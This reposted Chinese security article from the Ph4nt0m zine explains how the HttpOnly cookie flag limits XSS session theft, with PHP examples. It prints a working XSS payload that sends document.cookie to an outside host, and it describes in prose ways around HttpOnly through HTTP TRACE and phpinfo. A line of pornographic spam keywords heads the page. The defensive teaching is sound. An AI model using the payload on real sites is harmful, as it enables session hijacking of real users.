国产一级a片免费看高清,亚洲熟女中文字幕在线视频,黄三级高清在线播放,免费黄色视频在线看

打開APP
userphoto
未登錄

開通VIP,暢享免費電子書等14項超值服

開通VIP
利用httponly提升應(yīng)用程序安全性
                           ==Ph4nt0m Security Team==

                       Issue 0x01, Phile #0x06 of 0x06


|=---------------------------------------------------------------------------=|
|=-------------=[       利用httponly提升應(yīng)用程序安全性       ]=--------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|
|=--------------------=[            By 劍心            ]=--------------------=|
|=--------------------=[   <root_at_ph4nt0m_dot_org>   ]=--------------------=|
|=---------------------------------------------------------------------------=|
|=---------------------------------------------------------------------------=|


    隨著www服務(wù)的興起,越來越多的應(yīng)用程序轉(zhuǎn)向了B/S結(jié)構(gòu),這樣只需要一個瀏覽器就可
以訪問各種各樣的web服務(wù),但是這樣也越來越導致了越來越多的web安全問題。www服務(wù)依
賴于Htpp協(xié)議實現(xiàn),Http是無狀態(tài)的協(xié)議,所以為了在各個會話之間傳遞信息,就不可避免地
用到Cookie或者Session等技術(shù)來標記訪問者的狀態(tài),而無論是Cookie還是Session,一般都
是利用Cookie來實現(xiàn)的(Session其實是在瀏覽器的Cookie里帶了一個Token來標記,服務(wù)器
取得了這個Token并且檢查合法性之后就把服務(wù)器上存儲的對應(yīng)的狀態(tài)和瀏覽器綁定),這樣
就不可避免地安全聚焦到了Cookie上面,只要獲得這個Cookie,就可以取得別人的身份,這對
于入侵者是一件很美妙的事情,特別當獲得的Cookie屬于管理員等高權(quán)限身份者時,危害就
更大了。在各種web安全問題里,其中xss漏洞就因此顯得格外危險。

    對于應(yīng)用程序來說,一旦存在了xss漏洞就意味著別人可以在你的瀏覽器中執(zhí)行任意的
js腳本,如果應(yīng)用程序是開源的或者功能是公開的話,別人就可以利用ajax使用這些功能,但
是過程往往很煩瑣,特別是想直接獲得別人身份做隨意瀏覽的話困難就更大。而對于不開源
的應(yīng)用程序,譬如某些大型站點的web后臺(web2.0一個顯著的特征就是大量的交互,用戶往
往需要跟后臺的管理員交互,譬如Bug匯報,或者信息投遞等等),盡管因為交互的存在可能存
在跨站腳本漏洞,但是因為對后臺的不了解,無法構(gòu)造完美的ajax代碼來利用,即使可以用js
取得后臺的代碼并回傳分析,但是過程同樣煩瑣而且不隱蔽。這個時候,利用xss漏洞獲得
Cookie或者Session劫持就很有效了,具體分析應(yīng)用程序的認證,然后使用某些技巧,甚至可
以即使對方退出程序也一樣永久性獲得對方的身份。

    那么如何獲得Cookie或者Session劫持呢?在瀏覽器中的document對象中,就儲存了
Cookie的信息,而利用js可以把這里面的Cookie給取出來,只要得到這個Cookie就可以擁有
別人的身份了。一個很典型的xss攻擊語句如下:

xss exp:

    url=document.top.location.href;
    cookie=document.cookie;
    c=new Image();
    c.src='http://www.loveshell.net/c.php?c='+cookie+'&u='+url;

    一些應(yīng)用程序考慮到這個問題所在,所以可能會采取瀏覽器綁定技術(shù),譬如將Cookie和
瀏覽器的User-agent綁定,一旦發(fā)現(xiàn)修改就認為Cookie失效。這種方法已經(jīng)證明是無效的,
因為當入侵者偷得Cookie的同時他肯定已經(jīng)同時獲得了User-agent。還有另外一種比較嚴
格的是將Cookie和Remote-addr相綁定(其實就是和IP綁定,但是一些程序取得IP的方法有問
題一樣導致饒過),但是這樣就帶來很差的用戶體驗,更換Ip是經(jīng)常的事,譬如上班與家里就
是2個IP,所以這種方法往往也不給予采用。所以基于Cookie的攻擊方式現(xiàn)在就非常流行,在
一些web 2.0站點很容易就取到應(yīng)用程序的管理員身份。

    如何保障我們的敏感Cookie安全呢?通過上面的分析,一般的Cookie都是從document對
象中獲得的,我們只要讓敏感Cookie在瀏覽器document中不可見就行了。很幸運,現(xiàn)在瀏覽
器在設(shè)置Cookie的時候一般都接受一個叫做HttpOnly的參數(shù),跟domain等其他參數(shù)一樣,一
旦這個HttpOnly被設(shè)置,你在瀏覽器的document對象中就看不到Cookie了,而瀏覽器在瀏覽
的時候不受任何影響,因為Cookie會被放在瀏覽器頭中發(fā)送出去(包括ajax的時候),應(yīng)用程
序也一般不會在js里操作這些敏感Cookie的,對于一些敏感的Cookie我們采用HttpOnly,對
于一些需要在應(yīng)用程序中用js操作的cookie我們就不予設(shè)置,這樣就保障了Cookie信息的安
全也保證了應(yīng)用。關(guān)于HttpOnly說明可以參照
http://msdn2.microsoft.com/en-us/library/ms533046.aspx。

    給瀏覽器設(shè)置Cookie的頭如下:

    Set-Cookie: <name>=<value>[; <name>=<value>]
    [; expires=<date>][; domain=<domain_name>]
    [; path=<some_path>][; secure][; HttpOnly]

    以php為例,在php 5.2版本時就已經(jīng)在Setcookie函數(shù)加入了對HttpOnly的支持,譬如

    <?php
    setcookie("abc", "test", NULL, NULL, NULL, NULL, TRUE);
    ?>

    就可以設(shè)置abc這個cookie,將其設(shè)置為HttpOnly,document將不可見這個Cookie。因為
setcookie函數(shù)本質(zhì)就是個header,所以一樣可以使用header來設(shè)置HttpOnly。然后再使用
document.cookie就可以看到已經(jīng)取不到這個Cookie了。我們用這種方法來保護利例如
Sessionid,如一些用于認證的auth-cookie,就不用擔心身份被人獲得了,這對于一些后臺程
序和webmail提升安全性的意義是重大的。再次使用上面的攻擊手法時可以看到,已經(jīng)不能
獲取被我們設(shè)置為HttpOnly的敏感Cookie了。

    但是,也可以看到HttpOnly并不是萬能的,首先它并不能解決xss的問題,仍然不能抵制
一些有耐心的黑客的攻擊,也不能防止入侵者做ajax提交,甚至一些基于xss的proxy也出現(xiàn)
了,但是已經(jīng)可以提高攻擊的門檻了,起碼xss攻擊不是每個腳本小子都能完成的了,而且其
他的那些攻擊手法因為一些環(huán)境和技術(shù)的限制,并不像Cookie竊取這種手法一樣通用。

    HttpOnly也是可能利用一些漏洞或者配置Bypass的,關(guān)鍵問題是只要能取到瀏覽器發(fā)送
的Cookie頭就可以了。譬如以前出現(xiàn)的Http Trace攻擊就可以將你的Header里的Cookie回
顯出來,利用ajax或者flash就可以完成這種攻擊,這種手法也已經(jīng)在ajax和flash中獲得修
補。另外一個關(guān)于配置或者應(yīng)用程序上可能Bypass的顯著例子就是phpinfo,大家知道
phpinfo會將瀏覽器發(fā)送的http頭回顯出來,其中就包括我們保護的auth信息,而這個頁面經(jīng)
常存在在各種站點上,只要用ajax取phpinfo頁面,取出header頭對應(yīng)的部分就可以獲得
Cookie了。一些應(yīng)用程序的不完善也可能導致header頭的泄露,這種攻擊方式對于basic驗
證保護的頁面一樣可以攻擊。

    HttpOnly在IE 6以上,F(xiàn)irefox較新版本都得到了比較好的支持,并且在如Hotmail等應(yīng)
用程序里都有廣泛的使用,并且已經(jīng)是取得了比較好的安全效果。


-EOF-
本站僅提供存儲服務(wù),所有內(nèi)容均由用戶發(fā)布,如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,請點擊舉報
打開APP,閱讀全文并永久保存 查看更多類似文章
猜你喜歡
類似文章
[如何把文章做成鏈接]如何做好內(nèi)部鏈接的五大技巧
什么是 cookie 的 httponly 屬性
Cookie詳解
為Cookie服務(wù)的首部字段
如何做一個安全的“記住我”功能
利用HTTP-only Cookie緩解XSS之痛
更多類似文章 >>
生活服務(wù)
分享 收藏 導長圖 關(guān)注 下載文章
綁定賬號成功
后續(xù)可登錄賬號暢享VIP特權(quán)!
如果VIP功能使用有故障,
可點擊這里聯(lián)系客服!

聯(lián)系客服